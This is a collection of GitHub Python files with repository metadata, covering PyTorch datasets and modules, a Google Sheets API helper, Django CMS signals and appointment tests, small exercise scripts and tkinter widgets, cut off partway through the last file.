+{"seq_id":"19452318226","text":"import torchvision\n\n# CIFAR10数据集包括60000张32×32的彩色图片,属于10个类型\nfrom torch.utils.tensorboard import SummaryWriter\n\ndataset_transform = torchvision.transforms.Compose([\n torchvision.transforms.ToTensor()\n])\n\n# 下载CIFAR10数据集的压缩文件及解压,存储到./dataset路径(分别下训练数据集和测试数据集),并且对数据集中的所有图片做transform转换\ntrain_set = torchvision.datasets.CIFAR10(root=\"./datasets\", train=True, transform=dataset_transform, download=True)\ntest_set = torchvision.datasets.CIFAR10(root=\"./datasets\", train=False, transform=dataset_transform, download=True)\n\n# 测试输出一下数据集信息\n# print(test_set.classes)\n# print(test_set[0])\n# img, target = test_set[0]\n# print(img)\n# print(target)\n# print(test_set.classes[target])\n# img.show()\n\n# 放在tensorboard里展示一下\nwriter = SummaryWriter(\"p10\")\nfor i in range(10):\n img, target = test_set[i]\n writer.add_image(\"test_set\", img, i)\nwriter.close()\n","repo_name":"nana1223/learn_pytorch_code","sub_path":"src/c5_torchvision_datasets.py","file_name":"c5_torchvision_datasets.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"5682969578","text":"# Write a python script to check whether a given pair of numbers are co-Prime\n# numbers or not.\n# EX {a = 5 , b = 6 --> Co-Prime} {a = 8 , b = 16 --> Not Co-Prime} \n\n\n\ndef Gcd(a, b):\n\tif (a == 0 or b == 0): return 0\n\t# base case\n\tif (a == b): return a\n\t# a is greater\n\tif (a > b):\n\t\treturn Gcd(a - b, b)\n\treturn Gcd(a, b - a)\n\ndef coPrime(a, b):\t\n\tif ( Gcd(a, b) == 1):\n\t\tprint(\"Co-Prime\")\n\telse:\n\t\tprint(\"Not Co-Prime\")\t\n\na = int(input(\"Enter First No : \"))\nb = int(input(\"Enter Second No : \"))\ncoPrime(a, b)","repo_name":"Deepak6203/INEURON","sub_path":"Assignments/Assignment12/Question7.py","file_name":"Question7.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"18163275513","text":"from googleapiclient.discovery import build\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\n\nfrom json import dumps\n\ndef get_service(scopes='https://www.googleapis.com/auth/spreadsheets', clientsecrets_f_name='credentials.json', store_f_name='token.json'):\n # check if method called as part of main program or library function\n if __name__ != '__main__':\n # if method called as library function, need to emulate parsing parameters from command line\n import argparse\n parser = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter,\n parents=[tools.argparser])\n args = parser.parse_args(['--noauth_local_webserver'])\n\n store = file.Storage(store_f_name)\n creds = store.get()\n if not creds or creds.invalid:\n flow = client.flow_from_clientsecrets(clientsecrets_f_name, scopes)\n creds = tools.run_flow(flow, store)\n service = build('sheets', 'v4', http=creds.authorize(Http()))\n return service\n\ndef get_sheet_ID(service, spreadsheet_ID, sheet_name):\n data_sheet_ID = None\n response = service.spreadsheets().get(spreadsheetId=spreadsheet_ID).execute()\n for s in response['sheets']:\n if s['properties']['title'] == sheet_name:\n data_sheet_ID = s['properties']['sheetId']\n break\n # print_err('Sheet ID: {}'.format(data_sheet_ID))\n return data_sheet_ID\n\ndef get_sheet_ID_removing_other_sheets(service, spreadsheet_ID, sheet_name):\n # discover sheet ID\n keep_sheet_ID = None\n response = service.spreadsheets().get(spreadsheetId=spreadsheet_ID).execute()\n for s in response['sheets']:\n if s['properties']['title'] == sheet_name:\n keep_sheet_ID = s['properties']['sheetId']\n break\n # print_err('Sheet ID: {}'.format(keep_sheet_ID))\n\n # remove other sheets\n requests = []\n for s in response['sheets']:\n if s['properties']['sheetId'] != keep_sheet_ID:\n requests.append({\n \"deleteSheet\": {\n \"sheetId\": s['properties']['sheetId']\n }\n })\n # proceed only if there are sheets to be removed\n if requests:\n # prepare body of batchUpdate\n body = {\n 'requests': requests\n }\n # send batchUpdate\n response = service.spreadsheets().batchUpdate(\n spreadsheetId=spreadsheet_ID,\n body=body).execute()\n\n return keep_sheet_ID\n\ndef clear_values(service, spreadsheet_ID, range_to_clear):\n # clear sheet in range\n request = service.spreadsheets().values().clear(spreadsheetId=spreadsheet_ID, range=range_to_clear, body={})\n response = request.execute()\n\ndef add_data(service, spreadsheet_ID, start_position, rows_list):\n # add data to sheet\n body = {\n 'values': rows_list\n }\n response = service.spreadsheets().values().update(\n spreadsheetId=spreadsheet_ID, range=start_position,\n valueInputOption='USER_ENTERED', body=body).execute()\n # return number of updated cells\n return response.get('updatedCells')\n\ndef add_data_and_chart(service, spreadsheet_ID, start_position, rows_list, data_sheet_ID, chart_type='LINE', chart_title='Test Chart', x_title='x', y_title='y'):\n # first, add data\n add_data(service, spreadsheet_ID, start_position, rows_list)\n # add chart\n endRow = len(rows_list)\n series = []\n for start_column_index in range(len(rows_list[0])):\n series.append({\n \"series\": {\n \"sourceRange\": {\n \"sources\": [\n {\n \"sheetId\": data_sheet_ID,\n \"startRowIndex\": 0,\n \"endRowIndex\": endRow,\n \"startColumnIndex\": start_column_index,\n \"endColumnIndex\": start_column_index+1\n }\n ]\n }\n },\n \"targetAxis\": \"LEFT_AXIS\"\n })\n # build request body\n body = {\n \"requests\": [\n {\n \"addChart\": {\n \"chart\": {\n \"spec\": {\n \"title\": chart_title,\n \"basicChart\": {\n \"chartType\": chart_type,\n \"legendPosition\": \"BOTTOM_LEGEND\",\n \"axis\": [\n {\n \"position\": \"BOTTOM_AXIS\",\n \"title\": x_title\n },\n {\n \"position\": \"LEFT_AXIS\",\n \"title\": y_title\n }\n ],\n \"domains\": [],\n \"series\": series,\n \"headerCount\": 1\n }\n },\n \"position\": {\n \"newSheet\": True\n }\n }\n }\n }\n ]\n }\n request = service.spreadsheets().batchUpdate(\n spreadsheetId=spreadsheet_ID, body=body)\n response = request.execute()\n\n# TODO\n# def update_sheet(...)\n# function that takes data as input and clears datasheet, removes old chart and adds new one\ndef rewrite_sheet(scopes, clientsecrets_f_name, store_f_name, spreadsheet_ID, sheet_name, rows_list,\n chart_type='LINE', chart_title='Test Chart', x_title='x', y_title='y'):\n service = get_service(scopes, clientsecrets_f_name, store_f_name)\n data_sheet_ID = get_sheet_ID_removing_other_sheets(service, spreadsheet_ID, sheet_name)\n clear_values(service, spreadsheet_ID, sheet_name+'!$A$1:$YY')\n add_data_and_chart(service, spreadsheet_ID, sheet_name+'!A1', rows_list, data_sheet_ID, chart_type, chart_title, x_title, y_title)\n\n# MAIN that will be executed when library called as script\nif __name__ == '__main__':\n\n from sys import stderr, argv\n def print_err(s):\n print(s, file=stderr)\n\n # parse parameters from command line\n import argparse\n\n parser = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter,\n parents=[tools.argparser])\n\n #parser = argparse.ArgumentParser()\n\n # SAMPLE_SPREADSHEET_ID = '1fk2AuFigFR_g66etEJEeGm_Hb8ERF8IlEIuaf974nSk'\n # SAMPLE_RANGE_NAME = 'Foglio1!$A$1:$YY'\n parser.add_argument('spreadsheet_ID', help=\"Google Sheet ID (as in the URL)\")\n parser.add_argument('data_sheet_name', help=\"Name of the sheet with the data (e.g. Sheet1)\", nargs='?', default='Sheet1') \n parser.add_argument('scopes', help=\"Google API authorization scope(s)\", nargs='?', default='https://www.googleapis.com/auth/spreadsheets')\n\n args = parser.parse_args(['--noauth_local_webserver'] + argv[1:])\n\n spreadsheet_ID = args.spreadsheet_ID\n print_err('Spreadsheet ID: {}'.format(spreadsheet_ID))\n data_sheet_name = args.data_sheet_name\n print_err('Data sheet name: {}'.format(data_sheet_name))\n scopes = args.scopes\n print_err('Scopes: {}'.format(scopes))\n\n service = get_service(scopes)\n\n data_sheet_ID = get_sheet_ID_removing_other_sheets(service, spreadsheet_ID, data_sheet_name)\n print_err('Sheet {} has Sheet ID {}'.format(data_sheet_name, data_sheet_ID))\n\n clear_values(service, spreadsheet_ID, data_sheet_name+'!$A$1:$YY')\n\n # generate example data\n from random import randint\n rows_list = [['', 'Data1', 'Data2', 'Data3']]\n for row_index in range(randint(33, 66)):\n rows_list.append(['Point {}'.format(row_index), row_index*randint(0,3), row_index*randint(4,6), row_index*randint(7,9)])\n\n add_data_and_chart(service, spreadsheet_ID, data_sheet_name+'!A1', rows_list, data_sheet_ID, chart_type='COLUMN', chart_title='Test Chart', x_title='Test X', y_title='Test Y')\n\n","repo_name":"giditre/unibo-agh_monitoring","sub_path":"old_stuff_2018/sflowtest/myutils/gsheetsutils.py","file_name":"gsheetsutils.py","file_ext":"py","file_size_in_byte":7224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"30365147790","text":"import torch.nn as nn\r\n\r\n\"\"\"\r\nThis code refers to \"Pyramid attention network for semantic segmentation\", that is\r\n\"https://github.com/JaveyWang/Pyramid-Attention-Networks-pytorch/blob/f719365c1780f062058dd0c94550c6c4766cd937/networks.py#L41\"\r\n\"\"\"\r\n\r\nclass FPM(nn.Module):\r\n def __init__(self, channels=1024):\r\n \"\"\"\r\n Feature Pyramid Attention\r\n :type channels: int\r\n \"\"\"\r\n super(FPM, self).__init__()\r\n channels_mid = int(channels/4)\r\n\r\n self.channels_cond = channels\r\n\r\n self.conv_master = nn.Conv2d(self.channels_cond, channels, kernel_size=1, bias=False)\r\n self.bn_master = nn.BatchNorm2d(channels)\r\n\r\n # Feature Pyramid\r\n self.conv7x7_1 = nn.Conv2d(self.channels_cond, channels_mid, kernel_size=(7, 7), stride=2, padding=3, bias=False)\r\n self.bn1_1 = nn.BatchNorm2d(channels_mid)\r\n self.conv5x5_1 = nn.Conv2d(channels_mid, channels_mid, kernel_size=(5, 5), stride=2, padding=2, bias=False)\r\n self.bn2_1 = nn.BatchNorm2d(channels_mid)\r\n self.conv3x3_1 = nn.Conv2d(channels_mid, channels_mid, kernel_size=(3, 3), stride=2, padding=1, bias=False)\r\n self.bn3_1 = nn.BatchNorm2d(channels_mid)\r\n\r\n self.conv7x7_2 = nn.Conv2d(channels_mid, channels_mid, kernel_size=(7, 7), stride=1, padding=3, bias=False)\r\n self.bn1_2 = nn.BatchNorm2d(channels_mid)\r\n self.conv5x5_2 = nn.Conv2d(channels_mid, channels_mid, kernel_size=(5, 5), stride=1, padding=2, bias=False)\r\n self.bn2_2 = nn.BatchNorm2d(channels_mid)\r\n self.conv3x3_2 = nn.Conv2d(channels_mid, channels_mid, kernel_size=(3, 3), stride=1, padding=1, bias=False)\r\n self.bn3_2 = nn.BatchNorm2d(channels_mid)\r\n\r\n # Upsample\r\n self.conv_upsample_3 = nn.ConvTranspose2d(channels_mid, channels_mid, kernel_size=4, stride=2, padding=1, bias=False)\r\n self.bn_upsample_3 = nn.BatchNorm2d(channels_mid)\r\n\r\n self.conv_upsample_2 = nn.ConvTranspose2d(channels_mid, channels_mid, kernel_size=4, stride=2, padding=1, bias=False)\r\n self.bn_upsample_2 = nn.BatchNorm2d(channels_mid)\r\n\r\n self.conv_upsample_1 = nn.ConvTranspose2d(channels_mid, channels, kernel_size=4, stride=2, padding=1, bias=False)\r\n self.bn_upsample_1 = nn.BatchNorm2d(channels)\r\n\r\n self.relu = nn.ReLU(inplace=False)\r\n\r\n def forward(self, x):\r\n \"\"\"\r\n :param x: Shape: [b, 2048, h, w]\r\n :return: out: Feature maps. Shape: [b, 2048, h, w]\r\n \"\"\"\r\n\r\n x_master = self.conv_master(x)\r\n x_master = self.bn_master(x_master)\r\n\r\n # Branch 1\r\n x1_1 = self.conv7x7_1(x)\r\n x1_1 = self.bn1_1(x1_1)\r\n x1_1 = self.relu(x1_1)\r\n x1_2 = self.conv7x7_2(x1_1)\r\n x1_2 = self.bn1_2(x1_2)\r\n\r\n # Branch 2\r\n x2_1 = self.conv5x5_1(x1_1)\r\n x2_1 = self.bn2_1(x2_1)\r\n x2_1 = self.relu(x2_1)\r\n x2_2 = self.conv5x5_2(x2_1)\r\n x2_2 = self.bn2_2(x2_2)\r\n\r\n # Branch 3\r\n x3_1 = self.conv3x3_1(x2_1)\r\n x3_1 = self.bn3_1(x3_1)\r\n x3_1 = self.relu(x3_1)\r\n x3_2 = self.conv3x3_2(x3_1)\r\n x3_2 = self.bn3_2(x3_2)\r\n\r\n # Merge branch 1 and 2\r\n x3_upsample = self.relu(self.bn_upsample_3(self.conv_upsample_3(x3_2)))\r\n x2_merge = self.relu(x2_2 + x3_upsample)\r\n x2_upsample = self.relu(self.bn_upsample_2(self.conv_upsample_2(x2_merge)))\r\n x1_merge = self.relu(x1_2 + x2_upsample)\r\n\r\n x_master = x_master * self.relu(self.bn_upsample_1(self.conv_upsample_1(x1_merge)))\r\n\r\n out = self.relu(x_master)\r\n\r\n return out","repo_name":"TongfeiLiu/LGPNet-for-building-CD","sub_path":"model/FeaturePyramidModule.py","file_name":"FeaturePyramidModule.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"1"}
+{"seq_id":"19816977314","text":"# -*- coding: utf-8 -*-\n\nimport sys\nfrom django.core.management import color_style\nfrom django.core.urlresolvers import clear_url_caches\nfrom django.core.signals import request_finished\nfrom cms.models import Title\nfrom cms.utils.apphook_reload import mark_urlconf_as_changed\n\n\nDISPATCH_UID = 'cms-restart'\n\n\ndef trigger_server_restart(**kwargs):\n \"\"\"\n Marks the URLs as stale so that they can be reloaded.\n \"\"\"\n mark_urlconf_as_changed()\n\n\ndef apphook_pre_title_checker(instance, **kwargs):\n \"\"\"\n Store the old application_urls and path on the instance\n \"\"\"\n if instance.publisher_is_draft:\n return\n try:\n instance._old_data = Title.objects.filter(pk=instance.pk).select_related('page')[0]\n except IndexError:\n instance._old_data = None\n\n\ndef apphook_post_page_checker(page):\n old_page = page.old_page\n if (old_page and (\n old_page.application_urls != page.application_urls or old_page.application_namespace != page.application_namespace)) or (\n not old_page and page.application_urls):\n\n from cms.cache import invalidate_cms_page_cache\n invalidate_cms_page_cache()\n request_finished.connect(trigger_restart, dispatch_uid=DISPATCH_UID)\n\n\ndef apphook_post_title_checker(instance, **kwargs):\n \"\"\"\n Check if application_urls and path changed on the instance\n \"\"\"\n if instance.publisher_is_draft:\n return\n old_title = getattr(instance, '_old_data', None)\n if not old_title:\n if instance.page.application_urls:\n request_finished.connect(\n trigger_restart,\n dispatch_uid=DISPATCH_UID\n )\n else:\n old_values = (\n old_title.published,\n old_title.page.application_urls,\n old_title.page.application_namespace,\n old_title.path,\n old_title.slug,\n )\n new_values = (\n instance.published,\n instance.page.application_urls,\n instance.page.application_namespace,\n instance.path,\n instance.slug,\n )\n if old_values != new_values and (old_values[2] or new_values[2]):\n request_finished.connect(trigger_restart, dispatch_uid=DISPATCH_UID)\n\n\ndef apphook_post_delete_title_checker(instance, **kwargs):\n \"\"\"\n Check if this was an apphook\n \"\"\"\n from cms.cache import invalidate_cms_page_cache\n invalidate_cms_page_cache()\n if instance.page.application_urls:\n request_finished.connect(trigger_restart, dispatch_uid=DISPATCH_UID)\n\n\ndef apphook_post_delete_page_checker(instance, **kwargs):\n \"\"\"\n Check if this was an apphook\n \"\"\"\n if instance.application_urls:\n request_finished.connect(trigger_restart, dispatch_uid=DISPATCH_UID)\n\n# import the logging library\nimport logging\n\n# Get an instance of a logger\nlogger = logging.getLogger(__name__)\n\n\ndef trigger_restart(**kwargs):\n from cms.signals import urls_need_reloading\n\n request_finished.disconnect(trigger_restart, dispatch_uid=DISPATCH_UID)\n urls_need_reloading.send(sender=None)\n\n\ndef debug_server_restart(**kwargs):\n from cms.appresolver import clear_app_resolvers\n if 'runserver' in sys.argv or 'server' in sys.argv:\n clear_app_resolvers()\n clear_url_caches()\n import cms.urls\n try:\n reload(cms.urls)\n except NameError: #python3\n from imp import reload\n reload(cms.urls)\n if not 'test' in sys.argv:\n msg = 'Application url changed and urls_need_reloading signal fired. ' \\\n 'Please reload the urls.py or restart the server.\\n'\n styles = color_style()\n msg = styles.NOTICE(msg)\n sys.stderr.write(msg)\n","repo_name":"farhan711/DjangoCMS","sub_path":"cms/signals/apphook.py","file_name":"apphook.py","file_ext":"py","file_size_in_byte":3748,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"1"}
+{"seq_id":"3198854104","text":"from rest_framework import serializers\nfrom rest_framework.exceptions import ParseError\n\nfrom diagram.models import DiagramTask\n\nfrom worker.api.serializers import ShortWorkerSerializer\n\n\nclass TaskSerializer(serializers.ModelSerializer):\n \"\"\"Сериализация задач\"\"\"\n\n initiative = ShortWorkerSerializer(read_only=True)\n\n class Meta:\n model = DiagramTask\n fields = \"__all__\"\n\n def validate(self, validated_data):\n try:\n percentage = int(validated_data[\"percentage\"])\n except KeyError:\n pass\n except ValueError:\n raise ParseError(f\"Percentage must be int not {type(percentage)}.\")\n else:\n if percentage > 100 or percentage < 0:\n raise ParseError(\"Percentage must be <= 100 and >= 0.\")\n finally:\n return super().validate(validated_data)\n","repo_name":"ScrollPage/Case-In","sub_path":"backend/diagram/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"13837556547","text":"recipes = {}\r\n\r\nwhile True:\r\n print(\"Options:\")\r\n print(\"1. Add Recipe\")\r\n print(\"2. View Recipes\")\r\n print(\"3. Quit\")\r\n\r\n choice = input(\"Enter your choice: \")\r\n\r\n if choice == \"1\":\r\n recipe_name = input(\"Enter recipe name: \")\r\n ingredients = input(\"Enter ingredients (comma-separated): \").split(\",\")\r\n recipes[recipe_name] = ingredients\r\n print(\"Recipe added.\")\r\n elif choice == \"2\":\r\n if not recipes:\r\n print(\"No recipes recorded yet.\")\r\n else:\r\n print(\"Recipes:\")\r\n for recipe, ingredients in recipes.items():\r\n print(f\"{recipe}: {', '.join(ingredients)}\")\r\n elif choice == \"3\":\r\n break\r\n else:\r\n print(\"Invalid choice. Please try again.\")\r\n\r\n","repo_name":"yogeshrathee/python-Programs","sub_path":"Recipe Organizer.py","file_name":"Recipe Organizer.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"27491528385","text":"def indice_presenca(aulas):\r\n if (aulas >= (0.95*80)):\r\n ind=3\r\n return ind\r\n elif(aulas >= (0.90*80)):\r\n ind = 2\r\n return ind\r\n elif(aulas >= (0.80*80)):\r\n ind=1\r\n return ind\r\n else:\r\n ind=0\r\n return ind\r\ndef acrescimo(aulas):\r\n x=indice_presenca(aulas)\r\n percent = x*0.03\r\n return percent\r\ndef calcula_nota(aulas,nota_inicial):\r\n y=indice_presenca(aulas)\r\n z=acrescimo(aulas)\r\n nota_final = (nota_inicial)+(z*10)\r\n if(nota_final>10):\r\n nota_final=10\r\n print(\"Sua nota final eh: \"+str(nota_final)+\" seu acrescimo foi: \"+str(z)+\" e seu indice foi: \"+str(y))\r\n return\r\nx=int(input(\"digite o numero de aulas presentes do aluno: \"))\r\ny=float(input(\"digite a nota inicial do aluno: \"))\r\ncalcula_nota(x,y)\r\n","repo_name":"RafaelLobianco/Pyhton","sub_path":"Calcula_nota_final.py","file_name":"Calcula_nota_final.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"71059432033","text":"import datetime\nimport logging\nfrom unittest.mock import patch\n\nfrom django.apps import apps\nfrom django.http import HttpRequest\nfrom django.test import TestCase\nfrom django.utils.translation import gettext_lazy as _\n\nfrom appointment.models import Appointment, Service, AppointmentRequest, Config\nfrom appointment.settings import APPOINTMENT_WEBSITE_NAME, APPOINTMENT_SLOT_DURATION, APPOINTMENT_LEAD_TIME, \\\n APPOINTMENT_FINISH_TIME, APPOINTMENT_BUFFER_TIME, APPOINTMENT_CLIENT_MODEL\nfrom appointment.utils import Utility\n\n\nclass UtilityTestCase(TestCase):\n # Test cases for generate_random_id\n\n def setUp(self) -> None:\n self.test_service = Service.objects.create(name=\"Test Service\", duration=datetime.timedelta(hours=1), price=100)\n self.user_model = Utility.get_user_model()\n self.user = self.user_model.objects.create_user(first_name=\"Tester\",\n email=\"testemail@gmail.com\",\n username=\"test_user\", password=\"Kfdqi3!?n\")\n\n def test_generate_random_id(self):\n id1 = Utility.generate_random_id()\n id2 = Utility.generate_random_id()\n self.assertNotEqual(id1, id2)\n\n # Test cases for get_timestamp\n def test_get_timestamp(self):\n ts = Utility.get_timestamp()\n self.assertIsNotNone(ts)\n self.assertIsInstance(ts, str)\n\n # Test cases for is_ajax\n def test_is_ajax_true(self):\n request = HttpRequest()\n request.META['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'\n self.assertTrue(Utility.is_ajax(request))\n\n def test_is_ajax_false(self):\n request = HttpRequest()\n self.assertFalse(Utility.is_ajax(request))\n\n # Test cases for get_available_slots\n def test_get_available_slots(self):\n date_str = datetime.date.today().strftime('%Y-%m-%d')\n date = Utility.convert_str_to_date(date_str)\n ar = AppointmentRequest.objects.create(\n date=date,\n start_time=datetime.time(9, 0),\n end_time=datetime.time(10, 0),\n service=self.test_service\n )\n appointment = Appointment.objects.create(appointment_request=ar, client=self.user)\n slots = Utility.get_available_slots(date, [appointment])\n self.assertIsInstance(slots, list)\n logging.info(slots)\n self.assertNotIn('09:00 AM', slots)\n\n def test_get_available_slots_with_config(self):\n date_str = datetime.date.today().strftime('%Y-%m-%d')\n date = Utility.convert_str_to_date(date_str)\n lead_time = datetime.time(8, 0)\n finish_time = datetime.time(17, 0)\n slot_duration = 30\n appointment_buffer_time = 2.0\n Config.objects.create(\n lead_time=lead_time,\n finish_time=finish_time,\n slot_duration=slot_duration,\n appointment_buffer_time=appointment_buffer_time\n )\n ar = AppointmentRequest.objects.create(\n date=date,\n start_time=datetime.time(9, 0),\n end_time=datetime.time(10, 0),\n service=self.test_service\n )\n appointment = Appointment.objects.create(appointment_request=ar, client=self.user)\n slots = Utility.get_available_slots(date, [appointment])\n self.assertIsInstance(slots, list)\n logging.info(slots)\n self.assertNotIn('09:00 AM', slots)\n # Additional assertions to verify that the slots are calculated correctly\n\n # Test cases for get_locale\n def test_get_locale_en(self):\n with self.settings(LANGUAGE_CODE='en'):\n self.assertEqual(Utility.get_locale(), 'en')\n\n def test_get_locale_en_us(self):\n with self.settings(LANGUAGE_CODE='en_US'):\n self.assertEqual(Utility.get_locale(), 'en')\n\n def test_get_locale_fr(self):\n # Set the local to French\n with self.settings(LANGUAGE_CODE='fr'):\n self.assertEqual(Utility.get_locale(), 'fr')\n\n def test_get_locale_fr_France(self):\n # Set the local to French\n with self.settings(LANGUAGE_CODE='fr_FR'):\n self.assertEqual(Utility.get_locale(), 'fr')\n\n def test_get_locale_others(self):\n with self.settings(LANGUAGE_CODE='de'):\n self.assertEqual(Utility.get_locale(), 'en')\n\n # Test cases for get_current_year\n def test_get_current_year(self):\n self.assertEqual(Utility.get_current_year(), datetime.datetime.now().year)\n\n def test_get_timezone_txt(self):\n self.assertIn(Utility.get_timezone_txt(), [\n 'Universal Time Coordinated (UTC)',\n 'Eastern Daylight Time (US & Canada)',\n # Add other valid timezone strings here\n ])\n\n # Test cases for get_timezone\n def test_get_timezone(self):\n self.assertIsNotNone(Utility.get_timezone())\n\n # Test cases for convert_str_to_date\n def test_convert_str_to_date_valid(self):\n date_str = '2023-07-31'\n date_obj = Utility.convert_str_to_date(date_str)\n self.assertEqual(date_obj, datetime.date(2023, 7, 31))\n\n def test_convert_str_to_date_invalid(self):\n date_str = 'invalid-date'\n with self.assertRaises(ValueError):\n Utility.convert_str_to_date(date_str)\n\n def test_get_website_name_no_config(self):\n website_name = Utility.get_website_name()\n self.assertEqual(website_name, APPOINTMENT_WEBSITE_NAME)\n\n def test_get_website_name_with_config(self):\n Config.objects.create(website_name=\"Test Website\")\n website_name = Utility.get_website_name()\n self.assertEqual(website_name, \"Test Website\")\n\n def test_get_appointment_slot_duration_no_config(self):\n slot_duration = Utility.get_appointment_slot_duration()\n self.assertEqual(slot_duration, APPOINTMENT_SLOT_DURATION)\n\n def test_get_appointment_slot_duration_with_config(self):\n Config.objects.create(slot_duration=45)\n slot_duration = Utility.get_appointment_slot_duration()\n self.assertEqual(slot_duration, 45)\n\n # Test cases for get_appointment_lead_time\n def test_get_appointment_lead_time_no_config(self):\n lead_time = Utility.get_appointment_lead_time()\n self.assertEqual(lead_time, APPOINTMENT_LEAD_TIME)\n\n def test_get_appointment_lead_time_with_config(self):\n config_lead_time = datetime.time(hour=7, minute=30)\n Config.objects.create(lead_time=config_lead_time)\n lead_time = Utility.get_appointment_lead_time()\n self.assertEqual(lead_time, config_lead_time)\n\n # Test cases for get_appointment_finish_time\n def test_get_appointment_finish_time_no_config(self):\n finish_time = Utility.get_appointment_finish_time()\n self.assertEqual(finish_time, APPOINTMENT_FINISH_TIME)\n\n def test_get_appointment_finish_time_with_config(self):\n config_finish_time = datetime.time(hour=18, minute=30)\n Config.objects.create(finish_time=config_finish_time)\n finish_time = Utility.get_appointment_finish_time()\n self.assertEqual(finish_time, config_finish_time)\n\n # Test cases for get_appointment_buffer_time\n def test_get_appointment_buffer_time_no_config(self):\n buffer_time = Utility.get_appointment_buffer_time()\n self.assertEqual(buffer_time, APPOINTMENT_BUFFER_TIME)\n\n def test_get_appointment_buffer_time_with_config(self):\n config_buffer_time = 0.5 # 30 minutes\n Config.objects.create(appointment_buffer_time=config_buffer_time)\n buffer_time = Utility.get_appointment_buffer_time()\n self.assertEqual(buffer_time, config_buffer_time)\n\n # Test cases for get_finish_button_text\n def test_get_finish_button_text_free_service(self):\n service = Service(price=0)\n button_text = Utility.get_finish_button_text(service)\n self.assertEqual(button_text, _(\"Finish\"))\n\n def test_get_finish_button_text_paid_service(self):\n with patch('appointment.utils.APPOINTMENT_PAYMENT_URL', 'https://payment.com'):\n service = Service(price=100)\n button_text = Utility.get_finish_button_text(service)\n self.assertEqual(button_text, _(\"Pay Now\"))\n\n # Test cases for get_user_model\n def test_get_client_model(self):\n client_model = Utility.get_user_model()\n self.assertEqual(client_model, apps.get_model(APPOINTMENT_CLIENT_MODEL))\n","repo_name":"adamspd/django-appointment","sub_path":"appointment/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":8386,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"1"}
+{"seq_id":"70196429794","text":"# My Solution\ndef song_decoder(song):\n Song_list=[i for i in song]\n Pos_Recorder=[]\n RepeatedSets=set()\n for i in range(0,len(Song_list)):\n if Song_list.count(Song_list[i])>=2:\n Pos_Recorder.append(i)\n Confirmer=[]\n for i in Pos_Recorder:\n for j in range(0,len(Song_list)):\n if Song_list[j]==Song_list[i]:\n for k in range(i,j+1):\n if song.count(song[i:k])>=2 and song[i:k]!='' and len(song[i:k])==3 and ''.join(song[i:k])=='WUB':\n new_str=song.replace(song[i:k],' ')\n spliter=new_str.split()\n removeblank=' '.join(spliter)\n RepeatedSets.add(removeblank)\n RepeatedList = list(RepeatedSets)\n if RepeatedList:\n count=len(RepeatedList[0])\n else:\n new_str=song.replace(\"WUB\",'')\n return new_str\n pos=0\n for i in range(0,len(RepeatedList)):\n if len(RepeatedList[i]) None:\n \"\"\"Disable Scale. `Returns None`\"\"\"\n self[\"state\"] = tk.NORMAL\n\n def disable(self) -> None:\n \"\"\"Enable Scale. `Returns None`\"\"\"\n self[\"state\"] = tk.DISABLED\n\n def get(self) -> float:\n \"\"\"Get Scale value. `Returns a Float`\"\"\"\n return self.var.get()\n\n def set(self, val: float) -> None:\n \"\"\"Set Scale value. `Returns None`\"\"\"\n self.var.set(val)\n\n def clear(self) -> None:\n \"\"\"Sets Scale to its default value. `Returns None`\"\"\"\n self.var.set(self.default)\n\n def _on_execute_command(self, val: float) -> None:\n if self._command:\n self._command(val)\n\n\nclass LabeledScale(Labeler, ActiveScale):\n \"\"\"Labeled ActiveScale\"\"\"\n\n def __init__(\n self,\n parent: ttk.Frame,\n labeltext: str,\n command: Callable = None,\n orient: bool = tk.HORIZONTAL,\n is_child: bool = False,\n labelside: str = tk.LEFT,\n **kw,\n ):\n if not orient in (tk.HORIZONTAL, tk.VERTICAL):\n raise ValueError(f\"Unknown orientation - {orient}\")\n pack_args = {\"fill\": \"x\", \"expand\": True, \"side\": tk.TOP}\n if orient == tk.VERTICAL:\n labelside = tk.TOP\n pack_args.update({\"fill\": \"y\"})\n kw[\"orient\"] = orient\n self.is_child = is_child\n Labeler.__init__(\n self, parent, labeltext, labelside=labelside, header=not is_child\n )\n ActiveScale.__init__(self, self.frame, **kw)\n ActiveScale.pack(self, **pack_args)\n\n\nclass LabeledMultiScale(Labeler, ttk.Frame, MultiWidgetMixin):\n \"\"\"Labeled MultiWidget Labeled Scale\"\"\"\n\n def __init__(\n self,\n parent: ttk.Frame,\n labeltext: str,\n config: dict,\n is_child: bool = False,\n labelside=tk.TOP,\n orient=tk.HORIZONTAL,\n command=None,\n ):\n self.orient = orient\n self.is_child = is_child\n self._command = command\n Labeler.__init__(\n self, parent, labeltext, labelside=labelside, header=not is_child\n )\n ttk.Frame.__init__(self, self.frame)\n ttk.Frame.pack(self, fill=tk.BOTH, expand=True, side=tk.TOP)\n MultiWidgetMixin.__init__(self, LabeledScale, config)\n\n def _on_command(self, key) -> Callable:\n def do_command(val):\n if self._command:\n return self._command({key: val})\n\n return do_command\n\n def add(\n self,\n parent: ttk.Frame,\n key: str,\n args: list,\n kwargs: dict,\n widget_type: type = None,\n ) -> object:\n\n \"\"\"Override MultiWidgetMixin for vertical orientation\"\"\"\n widget_type = widget_type or 